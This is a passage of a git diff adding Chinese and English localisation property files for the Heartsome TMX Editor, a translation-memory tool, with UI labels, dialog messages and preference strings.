\u60a8\u5df2\u7ecf\u4fee\u6539\u4e86\u754c\u9762\u8bed\u8a00\uff0c\u8be5\u8bbe\u7f6e\u9700\u8981\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u624d\u4f1a\u751f\u6548\u3002\u662f\u5426\u91cd\u542f\uff1f +preferencepage.KeysPreferencePage.groupParent = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.imageLabel = \u8981\u81ea\u5b9a\u4e49\u67d0\u4e2a\u529f\u80fd\u7684\u5feb\u6377\u952e\uff0c\u8bf7\u5355\u51fb\u8be5\u529f\u80fd\u7684\u201c\u5feb\u6377\u952e\u201d\u5355\u5143\u683c\u8fdb\u5165\u7f16\u8f91\u72b6\u6001\uff0c\u7136\u540e\u6309\u4e0b\u6240\u9700\u7684\u5feb\u6377\u952e\u7ec4\u5408\uff0c\u70b9\u51fb\u5176\u4ed6\u5730\u65b9\u9000\u51fa\u7f16\u8f91\u72b6\u6001\u5373\u53ef\u3002\u82e5\u8be5\u5feb\u6377\u952e\u7ec4\u5408\u5df2\u88ab\u5176\u4ed6\u529f\u80fd\u4f7f\u7528\uff0c\u5219\u8be5\u884c\u4f1a\u663e\u793a\u4e3a\u7ea2\u8272\u3002 +preferencepage.KeysPreferencePage.toolCategory = \u5de5\u5177 +preferencepage.KeysPreferencePage.toolbarCategory = \u5de5\u5177\u680f +preferencepage.KeysPreferencePage.helpCategory = \u5e2e\u52a9 +preferencepage.KeysPreferencePage.commandNameColumn = \u529f\u80fd +preferencepage.KeysPreferencePage.triggerSequenceColumn = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.categoryColumn = \u7c7b\u522b +preferencepage.KeysPreferencePage.msgTitle = \u63d0\u793a +preferencepage.KeysPreferencePage.msg = \u5feb\u6377\u952e\u7684\u8bbe\u7f6e\u5b58\u5728\u51b2\u7a81\uff0c\u8bf7\u4fee\u6539\u7ea2\u8272\u80cc\u666f\u7684\u529f\u80fd\u5feb\u6377\u952e\u7ec4\u5408\u3002 + +preferencepage.SystemPreferencePage.groupFont = \u5b57\u4f53 +preferencepage.SystemPreferencePage.groupFont.desc = \u8bbe\u7f6e TMX \u7f16\u8f91\u5668\u7684\u5b57\u4f53\u548c\u5b57\u53f7\uff1a + +preferencepage.fontsetting.editor.title = \u7f16\u8f91\u5668\u5b57\u4f53 +preferencepage.fontsetting.matchView.title = \ + +dialog.AboutDialog.title = \u5173\u4e8e Heartsome TMX Editor +dialog.AboutDialog.lblVersion = Heartsome TMX Editor +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2013 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u88ab\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 + +dialog.MergeTmxDilog.mergeTmx.title=\u5408\u5e76 TMX +dialog.MergeTmxDilog.tmxFile=\u5f85\u5408\u5e76\u7684 TMX \u6587\u4ef6 +dialog.MergeTmxDilog.header.name1=\u5e8f\u53f7 +dialog.MergeTmxDilog.header.name2=\u6587\u4ef6\u8def\u5f84 +dialog.MergeTmxDilog.addTmxFile=\u6dfb\u52a0(&A)... +dialog.MergeTmxDilog.deleteTmxFile=\u5220\u9664(&R) +dialog.MergeTmxDilog.saveTo=\u4fdd\u5b58\u5230\uff1a +dialog.MergeTmxDilog.brower=\u6d4f\u89c8(&B)... +dialog.MergeTmxDilog.mergeTmx.taskName=\u5408\u5e76 TMX... +dialog.MergeTmxDilog.merge.info.msg=\u5f85\u5408\u5e76\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5f85\u5408\u5e76\u7684 TMX \u6587\u4ef6\u3002 +dialog.MergeTmxDilog.merge.fileNull.msg=\u5f85\u5408\u5e76\u6587\u4ef6 {0} \u4e3a\u7a7a\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u5f85\u5408\u5e76\u7684 TMX \u6587\u4ef6\u3002 +dialog.MergeTmxDilog.merge.config.msg=\u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialog.MergeTmxDilog.merge.parseError = \u89e3\u6790 TMX \u6587\u4ef6 {0} \u5931\u8d25\uff0c\u65e0\u6cd5\u5408\u5e76\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684\u5f85\u5408\u5e76 TMX \u6587\u4ef6\u3002 + +te.ui.splitTmx.taskName=\u5206\u5272 TMX... +te.ui.splitTmx.warn.msg=\u89e3\u6790 TMX \u6587\u4ef6 {0} \u5931\u8d25\uff0c\u65e0\u6cd5\u5206\u5272\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684\u5f85\u5206\u5272 TMX \u6587\u4ef6\u3002 + +dialog.SplitTmxDiialog.title=\u5206\u5272 TMX +dialog.SplitTmxDiialog.groupTitle=\u5206\u5272\u65b9\u5f0f +dialog.SplitTmxDiialog.group.avgSplit=\u5e73\u5747\u5206\u5272\u4e3a\uff1a +dialog.SplitTmxDiialog.group.subFile=\u4e2a\u66f4\u5c0f\u7684 TMX \u6587\u4ef6 +dialog.SplitTmxDiialog.spliteFile=\u5f85\u5206\u5272\u6587\u4ef6\uff1a +dialog.SplitTmxDiialog.brower=\u6d4f\u89c8(&B) +dialog.SplitTmxDiialog.savePath=\u4fdd\u5b58\u8def\u5f84 +dialog.SplitTmxDiialog.originalPath=\u5f85\u5206\u5272\u7684 TMX \u6587\u4ef6\u6240\u5728\u76ee\u5f55 +dialog.SplitTmxDiialog.saveAsPath=\u6307\u5b9a\u8def\u5f84\uff1a +dialog.SplitTmxDiialog.split.info.msg=\u5f85\u5206\u5272\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u5206\u5272\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5f85\u5206\u5272\u7684 TMX \u6587\u4ef6\u3002 + +te.ui.cleanTagsHandler.warn.msg=\u8b66\u544a +te.ui.cleanTagsHandler.warn.desc=\u5373\u5c06\u5220\u9664\u6240\u6709\u5185\u90e8\u6807\u8bb0\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f + +te.ui.deleteBatchJobsHandler.warn.msg=\u8b66\u544a +te.ui.deleteBatchJobsHandler.warn.desc=\u5373\u5c06\u6267\u884c\u5df2\u9009\u62e9\u7684\u6e05\u7406\u64cd\u4f5c\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5417\uff1f +te.ui.deleteBatchJobsHandler.begin.task.name=\u5f00\u59cb\u6e05\u7406 + +te.ui.deleteLangHandler.error.deleteAllTgtMsg=\u8bf7\u4fdd\u7559\u81f3\u5c11\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00\u3002 +te.ui.deleteLangHandler.error.desc=\u5f53\u524d\u6587\u4ef6\u53ea\u5305\u542b\u4e00\u4e2a\u8bed\u8a00\u5bf9\uff0c\u65e0\u6cd5\u5220\u9664\u8bed\u8a00\u3002 +te.ui.deleteLangHandler.executeOP=\u6b63\u5728\u5904\u7406\u6570\u636e... +te.ui.deleteLangHanlder.checkMsg=\u5373\u5c06\u4ece\u6587\u4ef6\u4e2d\u5220\u9664\u8bed\u8a00 {0} \u7684\u6240\u6709\u5185\u5bb9\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u5220\u9664\u5417\uff1f + +dialog.deleteLangCodeDialog.title=\u5220\u9664\u8bed\u8a00 +dialog.deleteLangCodeDialog.srcLable=\u6e90\u8bed\u8a00\uff1a +dialog.deleteLangCodeDialog.tgtLable=\u76ee\u6807\u8bed\u8a00\uff1a + +dialog.ModifyLangCodeDialog.title=\u66f4\u6539\u8bed\u8a00\u4ee3\u7801 +dialog.ModifyLangCodeDialog.groupOldlbl=\u4fee\u6539\u524d +dialog.ModifyLangCodeDialog.groupOld.scritem=\u6e90\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupOld.tgtitem=\u76ee\u6807\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupNewlbl=\u4fee\u6539\u540e +dialog.ModifyLangCodeDialog.groupNew.scritem=\u6e90\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupNew.tgtitem=\u76ee\u6807\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.checkMsg1 = \u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +dialog.ModifyLangCodeDialog.checkMsg2 = \u8be5\u6587\u4ef6\u4e2d\u5df2\u5b58\u5728\u6b64\u76ee\u6807\u8bed\u8a00\uff0c\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00\u3002 +dialog.ModifyLangCodeDialog.checkMsg3 = \u4fee\u6539\u8bed\u8a00\u4ee3\u7801\u5c06\u4f1a\u5f71\u54cd\u6240\u6709\u7ffb\u8bd1\u5355\u5143\uff0c\u4e14\u8be5\u64cd\u4f5c\u65e0\u6cd5\u6062\u590d\u3002\u786e\u5b9a\u8981\u4fee\u6539\u5417\uff1f + +dialog.PairFileDialog.title=\u6587\u4ef6\u914d\u5bf9 +dialog.PairFileDialog.srcGroupFile.lbl=\u6e90\u6587\u6863 +dialog.PairFileDialog.srcGroup.File=\u6587\u4ef6\u8def\u5f84\uff1a +dialog.PairFileDialog.srcGroup.brower=\u6d4f\u89c8(&B)... +dialog.PairFileDialog.srcGroup.lang=\u8bed\u8a00\uff1a +dialog.PairFileDialog.tgtGroupFile.lbl=\u76ee\u6807\u6587\u6863 +dialog.PairFileDialog.tgtGroup.File=\u6587\u4ef6\u8def\u5f84\uff1a +dialog.PairFileDialog.tgtGroup.brower=\u6d4f\u89c8(&R)... +dialog.PairFileDialog.tgtGroup.lang=\u8bed\u8a00\uff1a +dialog.PairFileDialog.saveAsPath=TMX \u6587\u4ef6\u8def\u5f84\uff1a +dialog.PairFileDialog.saveAsBrower=\u6d4f\u89c8(&W)... +dialog.PairFileDialog.start.mechieTranslate=\u4f7f\u7528\u673a\u5668\u7ffb\u8bd1\u63d0\u9ad8\u914d\u5bf9\u7684\u51c6\u786e\u6027 +dialog.PairFileDialog.start=\u70b9\u51fb\u542f\u7528 +dialog.PairFileDialog.aready.start=\u5df2\u7ecf\u542f\u7528 +dialog.PairFileDialog.openTmx=\u914d\u5bf9\u5b8c\u6210\u540e\u81ea\u52a8\u6253\u5f00 + +dialog.EncodingConverterDialog.title = \u8f6c\u6362 TMX \u6587\u4ef6\u7f16\u7801 +dialog.EncodingConverterDialog.srcFileMsg = \u8bf7\u9009\u62e9\u5f85\u8f6c\u6362\u7f16\u7801\u7684\u6e90 TMX \u6587\u4ef6\u3002 +dialog.EncodingConverterDialog.srcEncodingMsg = \u8bf7\u6307\u5b9a\u6e90\u6587\u4ef6\u7684\u7f16\u7801\u3002 +dialog.EncodingConverterDialog.tgtFileMsg = \u8bf7\u6307\u5b9a\u8f6c\u6362\u7f16\u7801\u540e\u7684\u76ee\u6807 TMX \u6587\u4ef6\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.EncodingConverterDialog.tgtEncodingMsg = \u8bf7\u6307\u5b9a\u76ee\u6807 TMX \u6587\u4ef6\u7684\u7f16\u7801\u3002 +dialog.EncodingConverterDialog.tgtFileExist = \u76ee\u6807\u6587\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialog.EncodingConverterDialog.convertTask = \u6b63\u5728\u8f6c\u6362... +dialog.EncodingConverterDialog.covnertFinish = \u5df2\u5b8c\u6210\u8f6c\u6362\u3002 +dialog.EncodingConverterDialog.srcLabel = \u6e90\u6587\u4ef6\uff1a +dialog.EncodingConverterDialog.srcBrowseLabel = \u6d4f\u89c8(&B)... +dialog.EncodingConverterDialog.srcEncodingLabel = \u6e90\u6587\u4ef6\u7f16\u7801\uff1a +dialog.EncodingConverterDialog.tgtFileLabel = \u76ee\u6807\u6587\u4ef6\uff1a +dialog.EncodingConverterDialog.tgtBrowseLabel = \u6d4f\u89c8(&R)... +dialog.EncodingConverterDialog.tgtEncodingLabel = \u76ee\u6807\u6587\u4ef6\u7f16\u7801\uff1a +dialog.EncodingConverterDialog.convertBtn = \u8f6c\u6362(&V) +dialog.EncodingConverterDialog.closeBtn = \u53d6\u6d88(&C) +dialog.EncodingConverterDialog.tgtSameSrcPathMsg = \u6e90\u6587\u4ef6\u548c\u76ee\u6807\u6587\u4ef6\u8def\u5f84\u4e0d\u80fd\u76f8\u540c\u3002\n\u8bf7\u91cd\u65b0\u6307\u5b9a\u76ee\u6807\u6587\u4ef6\u8def\u5f84\u3002 diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message_en.properties b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message_en.properties new file mode 100644 index 0000000..0027d6c --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message_en.properties @@ -0,0 +1,278 @@ +ui.all.dialog.info = Message +ui.all.dialog.warning = Warning +ui.all.dialog.error = Error +ui.all.dialog.ok = OK +ui.all.dialog.cancel = Cancel +handler.OpenTmxFileHandler.openFileErrorMsg = Failed to open the file. +handler.OpenTmxFileHandler.notUtf8 = The file needs to be converted to UTF-8 before you can continue editing, do you want to convert now? +handler.OpenTmxFileHandler.cantFindEditorViewerMsg = Program did not initialize correctly. Please restart or reinstall the program, then try again. + +newTmx.NewTmxFileDialog.title = New TMX +newtmx.NewTmxFileDialog.saveLCLbl = Save path: +newtmx.NewTmxFileDialog.browseBtn = &Browse... +newtmx.NewTmxFileDialog.langGroup = Language +newtmx.NewTmxFileDialog.srcLang = Source language: +newtmx.NewTmxFileDialog.tgtLang = Target language: +newtmx.NewTmxFileDialog.tmxLocationNotNull = Please select the save path for the new TMX file. +newtmx.NewTmxFileDialog.notSelectSrcLang = Please select source language. +newtmx.NewTmxFileDialog.notSelectTgtLang = Please select target language. +newtmx.NewTmxFileDialog.srcLangEqualsTgtLang = The source and target language should be different. Please reselect. +newtmx.NewTmxFileDialog.tmxExsit = The file {0} already exists. Are sure you want to overwrite it? +newtmx.NewTmxFileDialog.createSuccess = \ +newtmx.NewTmxFileDialog.createFail = Failed to create TMX, please check the error log. +dialog.TmDbManagerDialog.title = Translation Memory Management +dialog.TmDbManagerDialog.parameterGroup = Database Information +dialog.TmDbManagerDialog.lblHost = Address: +dialog.TmDbManagerDialog.lblPort = Port: +dialog.TmDbManagerDialog.lblInstance = Instance: +dialog.TmDbManagerDialog.lblLocation = Path: +dialog.TmDbManagerDialog.borwserBtn = &Browse... +dialog.TmDbManagerDialog.lblUsername = Username: +dialog.TmDbManagerDialog.lblPwd = Password: +dialog.TmDbManagerDialog.searchBtn = &Search +dialog.TmDbManagerDialog.msgTitle = Message +dialog.TmDbManagerDialog.msg1 = Unable to connect to the specified database. Please make sure you enter the correct information and that the database server is accessible. +dialog.TmDbManagerDialog.tableComposite = Translation Memories +dialog.TmDbManagerDialog.btnc = &Create +dialog.TmDbManagerDialog.btnd_1 = &Delete +dialog.TmDbManagerDialog.msg2 = Once deleted, the TM cannot be recovered. Do you want to continue? +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = An error occured when deleting translation memories.\nPlease re-run the software or restart the database, then try again.\n If the problem is not solved, please contact the Heartsome tecnical support, and provide the following information: +dialog.TmDbManagerDialog.importBtn = &Import TMX +dialog.TmDbManagerDialog.msg4 = Please select one or more translation memories. +dialog.TmDbManagerDialog.deleteAction = Remove +dialog.TmDbManagerDialog.clmnTitles1 = ID +dialog.TmDbManagerDialog.clmnTitles2 = Name +dialog.TmDbManagerDialog.clmnTitles3 = Language +dialog.TmDbManagerDialog.msg5 = Please set Path to the folder where you want to save your Internal DB. +dialog.TmDbManagerDialog.msg6 = Please enter the address of the database server. +dialog.TmDbManagerDialog.msg7 = Please enter the port of the database server. +dialog.TmDbManagerDialog.msg8 = Please enter the username of the database server. +dialog.TmDbManagerDialog.msg9 = Please enter the instance of database server. +dialog.TmDbManagerDialog.msg10 = There are no segments in the translation memory. +dialog.TmDbManagerDialog.inputDbNameialogTitle = Create Translation Memory +dialog.TmDbManagerDialog.inputDbNameialogMsg = Translation Memory Name: + +tmxproperties.dialog.dialogTitile = Properties +tmxproperties.dialog.resourceTitle = \ +tmxproperties.dialog.version = TMX version: +tmxproperties.dialog.location = File path: +tmxproperties.dialog.size = File size: +tmxproperties.dialog.createuser = Created by: +tmxproperties.dialog.createtime = Created on: +tmxproperties.dialog.createtool = Creation tool: +tmxproperties.dialog.createversion = Creation tool version: +tmxproperties.dialog.conuttu = Translation units: +tmxproperties.dialog.sourcelang = Source Language: +tmxproperties.dialog.targetlang = Target Language: + +dialog.TmxValidatorDialog.label.tmxtitle = Repair TMX +dialog.TmxValidatorDialog.label.tmxfile = TMX file: +dialog.TmxValidatorDialog.label.browse = &Browse... +dialog.TmxValidatorDialog.label.verify = Check && &Repair +dialog.TmxValidatorDialog.label.clean = Remove Invalid Characters +dialog.TmxValidatorDialog.label.close = &Cancel +dialog.TmxValidatorDialog.label.tmxex = TMX File (*.tmx) +dialog.TmxValidatorDialog.label.allex = All Files (*.*) +dialog.TmxValidatorDialog.info.cleaning = Cleaning up... +dialog.TmxValidatorDialog.info.error = An undefined error occurred while cleaning: \n {0} +dialog.TmxValidatorDialog.info.cleandone = Cleanup is complete. + +dialog.TmxConvert2FileDialog.title=Convert TMX to Specified Format +dialog.TmxConvert2FileDialog.waitlist=TMX files to be converted +dialog.TmxConvert2FileDialog.add=&Add... +dialog.TmxConvert2FileDialog.remove=&Remove +dialog.TmxConvert2FileDialog.convertto=Convert to: +dialog.TmxConvert2FileDialog.needproperty=Include TU attributes (*.hstm only) +dialog.TmxConvert2FileDialog.toothertype=As single file +dialog.TmxConvert2FileDialog.path=Save path +dialog.TmxConvert2FileDialog.srcpath=Same as original TMX +dialog.TmxConvert2FileDialog.saveaspath=To: +dialog.TmxConvert2FileDialog.browser=&Browse... +dialog.TmxConvert2FileDialog.fileType.docx=Microsoft Word Files (*.docx) +dialog.TmxConvert2FileDialog.fileType.csv=Tab-delimited Text Files (*.csv) +dialog.TmxConvert2FileDialog.fileType.xlsx=Microsoft Excel Files (*.xlsx) +dialog.TmxConvert2FileDialog.fileType.txt=Text Files (*.txt) +dialog.TmxConvert2FileDialog.fileType.tbx=Termbase Exchange Files (*.tbx) +dialog.TmxConvert2FileDialog.fileType.hstm=Heartsome File-based TM (*.hstm) +dialog.TmxConvert2FileDialog.notutf8msg=File {0} needs to be converted to UTF-8 before you can convert it to the specified format. Continue with the conversion?\ +dialog.TmxConvert2FileDialog.sourceFileNotexist=The source file {0} does not exist or does not have read permission, please re-select a source file. +dialog.TmxConvert2FileDialog.targetFileNotexist=The target file {0} does not exist or does not have write permission, please re-select a save path. +dialog.TmxConvert2FileDialog.overwriteFile=The following files already exist: \n {0} \n Are you sure to overwrite them all? + +dialog.TmxConvert2FileDialog.convert.task.msg1=Start conversion +dialog.TmxConvert2FileDialog.convert.task.msg2=Converting file {0}... +dialog.TmxConvert2FileDialog.convert.task.error=The following errors occurred while converting "{0}" file: \n{1} + +dialog.Convert2TmxDialog.title=Convert Specified Format to TMX +dialog.Convert2TmxDialog.srcLable=Source file: +dialog.Convert2TmxDialog.browserSrcFileBtn=&Browse... +dialog.Convert2TmxDialog.langGroup=Languages +dialog.Convert2TmxDialog.srcLangLable=Source Language +dialog.Convert2TmxDialog.targetLable=Target Language +dialog.Convert2TmxDialog.addCustomAttributeBtn=Add custom attributes +dialog.Convert2TmxDialog.customAttributeGroup=Attribute list +dialog.Convert2TmxDialog.conver2NewTmxBtn=New TMX file: +dialog.Convert2TmxDialog.browserNewTmxPathBtn=B&rowse... +dialog.Convert2TmxDialog.appendExistTmxPathBtn=Append to a TMX: +dialog.Convert2TmxDialog.browserExistTmxPathBtn=B&rowse... +dialog.Convert2TmxDialog.isOpenBtn=Open TMX after conversion +dialog.Convert2TmxDialog.converter.common.appendtmx.wrongTmx = Failed to append: the file to be appended is not a valid TMX file. Please select another TMX file to be appended or create a new TMX file. +dialog.Convert2TmxDialog.sourceFileFormatHelp=See examples of source file format + +dialog.Convert2TmxDialog.convert.task.msg1=Start conversion +dialog.Convert2TmxDialog.convert.task.error=Following errors occurred while converting files: \n{0} +dialog.Convert2TmxDialog.taskFinished=The specified file has been successfully converted to TMX. + +dialog.BatchJobsDialog.title=Clean Up TM +dialog.BatchJobsDialog.bacthJobSelection=Delete the following content +dialog.BatchJobsDialog.deleteEmpty=Untranslated segments +dialog.BatchJobsDialog.deleteDuplicate=Repetitions (keep the latest segment) +dialog.BatchJobsDialog.deleteSameSrcDiffTgt=Inconsistency in target (keep the latest segment) +dialog.BatchJobsDialog.trimSegment=Leading/trailing spaces +dialog.BatchJobsDialog.ingoreSelection=Options +dialog.BatchJobsDialog.ingoreTag=Ignore tags +dialog.BatchJobsDialog.ignoreCase=Ignore case + +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +preferencepage.SystemPreferencePage.Mon = Monday +preferencepage.SystemPreferencePage.Tue = Tuesday +preferencepage.SystemPreferencePage.Wed = Wednesday +preferencepage.SystemPreferencePage.Thu = Thursday +preferencepage.SystemPreferencePage.Fri = Friday +preferencepage.SystemPreferencePage.Sat = Saturday +preferencepage.SystemPreferencePage.Sun = Sunday +preferencepage.SystemPreferencePage.groupCommon = Auto Update +preferencepage.SystemPreferencePage.imageLabel1 = Check software updates automatically: +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = At startup +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = Monthly +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = Weekly +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = Never +preferencepage.SystemPreferencePage.groupLanguage = User Interface Language +preferencepage.SystemPreferencePage.imageLabel3 = After changing the user interface language, you need to restart the software for the changes to take effect: +preferencepage.SystemPreferencePage.btnLanguageWithEN = English +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = Simplified Chinese +preferencepage.SystemPreferencePage.groupSystemUser = Username +preferencepage.SystemPreferencePage.imageLabel4 = When editing translation memories or TMX files, this username will be used as the creator or modifier of the translation units: +preferencepage.SystemPreferencePage.lblUser = Username: +preferencepage.SystemPreferencePage.msgTitle = Message +preferencepage.SystemPreferencePage.msgInfo = You have changed the user interface language. Please restart the software for the changes to take effect. Restart now? +preferencepage.KeysPreferencePage.groupParent = Shortcuts +preferencepage.KeysPreferencePage.imageLabel = To customize the shortcut for a certain function, please click the appropriate cell in the "Shortcut" column and press the desired key combination for your shortcut. Then click outside the cell to confirm it. If the shortcut combination is already taken, it will turn red. +preferencepage.KeysPreferencePage.toolCategory = Tools +preferencepage.KeysPreferencePage.toolbarCategory = Toolbar +preferencepage.KeysPreferencePage.helpCategory = Help +preferencepage.KeysPreferencePage.commandNameColumn = Function +preferencepage.KeysPreferencePage.triggerSequenceColumn = Shortcuts +preferencepage.KeysPreferencePage.categoryColumn = Type +preferencepage.KeysPreferencePage.msgTitle = Message +preferencepage.KeysPreferencePage.msg = There are shortcut settings conflicts, please modify the shortcuts highlighted in red. + +preferencepage.SystemPreferencePage.groupFont = Font +preferencepage.SystemPreferencePage.groupFont.desc = Set the font and font size for the TMX Editor: + +preferencepage.fontsetting.editor.title = Editor Font +preferencepage.fontsetting.matchView.title = \ + +dialog.AboutDialog.title = About Heartsome TMX Editor +dialog.AboutDialog.lblVersion = Heartsome TMX Editor +dialog.AboutDialog.lblVersion2 = Version: {0} Build {1} +dialog.AboutDialog.lblProduct = Product Home: +dialog.AboutDialog.lblSupport = Technical Support: +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/EN/support.html +dialog.AboutDialog.lblCopyRight = Copyright (C) 2013 Heartsome Technologies Ltd. All rights reserved. +dialog.AboutDialog.lblWarn = Warning: This computer program is protected by copyright law and international treaties.\n Unauthorized modification or distribution of the program or any part of it may result in severe civil and criminal penalties, and prosecution to the maximum extent permitted by law. +dialog.AboutDialog.msgTitle = Message +dialog.AboutDialog.msg = Error occurred while obtaining version information. The software will now exit. Please reinstall Heartsome TMX Editor. + +dialog.MergeTmxDilog.mergeTmx.title=Merge TMX +dialog.MergeTmxDilog.tmxFile=TMX files to be merged +dialog.MergeTmxDilog.header.name1=No. +dialog.MergeTmxDilog.header.name2=File Path +dialog.MergeTmxDilog.addTmxFile=&Add... +dialog.MergeTmxDilog.deleteTmxFile=&Remove +dialog.MergeTmxDilog.saveTo=Save to: +dialog.MergeTmxDilog.brower=&Browse... +dialog.MergeTmxDilog.mergeTmx.taskName=Merge TMX... +dialog.MergeTmxDilog.merge.info.msg=Failed to merge: the selected file {0} does not exist. \n Please re-select the TMX file to be merged. +dialog.MergeTmxDilog.merge.fileNull.msg=The selected file {0} is empty. \n Please select another TMX file with contents. +dialog.MergeTmxDilog.merge.config.msg=File {0} already exists. Are you sure you want to overwrite it? +dialog.MergeTmxDilog.merge.parseError = Failed to merge: cannot parse TMX file {0} \n Please re-select a valid TMX file to merge. + +te.ui.splitTmx.taskName=Split TMX... +te.ui.splitTmx.warn.msg=Failed to split: cannot parse TMX file {0} \n Please re-select a valid TMX file to split. + +dialog.SplitTmxDiialog.title=Split TMX +dialog.SplitTmxDiialog.groupTitle=Split Mode +dialog.SplitTmxDiialog.group.avgSplit=Split equally into: +dialog.SplitTmxDiialog.group.subFile=\ smaller TMX files +dialog.SplitTmxDiialog.spliteFile=TMX file to be split: +dialog.SplitTmxDiialog.brower=&Browse... +dialog.SplitTmxDiialog.savePath=Save path +dialog.SplitTmxDiialog.originalPath=Same as original TMX +dialog.SplitTmxDiialog.saveAsPath=To: +dialog.SplitTmxDiialog.split.info.msg=Failed to split: the selected file {0} does not exist. \n Please re-select the TMX file to be split. + +te.ui.cleanTagsHandler.warn.msg=Warning +te.ui.cleanTagsHandler.warn.desc=All internal tags will be deleted. This action cannot be undone. \n Are you sure you want to continue? + +te.ui.deleteBatchJobsHandler.warn.msg=Warning +te.ui.deleteBatchJobsHandler.warn.desc=The selected cleanup operations will be performed. This action cannot be undone. \n Are you sure you want to continue? +te.ui.deleteBatchJobsHandler.begin.task.name=Start cleaning up + +te.ui.deleteLangHandler.error.deleteAllTgtMsg=Please keep at least one target language. +te.ui.deleteLangHandler.error.desc=Cannot remove the language. Current file contains only one language pair. +te.ui.deleteLangHandler.executeOP=Processing data... +te.ui.deleteLangHanlder.checkMsg=All content of language {0} will be removed from the file. This action cannot be undone. \n Are you sure you want to delete it? + +dialog.deleteLangCodeDialog.title=Delete Language +dialog.deleteLangCodeDialog.srcLable=Source language: +dialog.deleteLangCodeDialog.tgtLable=Target language: + +dialog.ModifyLangCodeDialog.title=Change Language Code +dialog.ModifyLangCodeDialog.groupOldlbl=Change from +dialog.ModifyLangCodeDialog.groupOld.scritem=Source language: +dialog.ModifyLangCodeDialog.groupOld.tgtitem=Target language: +dialog.ModifyLangCodeDialog.groupNewlbl=To +dialog.ModifyLangCodeDialog.groupNew.scritem=Source language: +dialog.ModifyLangCodeDialog.groupNew.tgtitem=Target language: +dialog.ModifyLangCodeDialog.checkMsg1 = The source and target language should be different. Please reselect. +dialog.ModifyLangCodeDialog.checkMsg2 = The 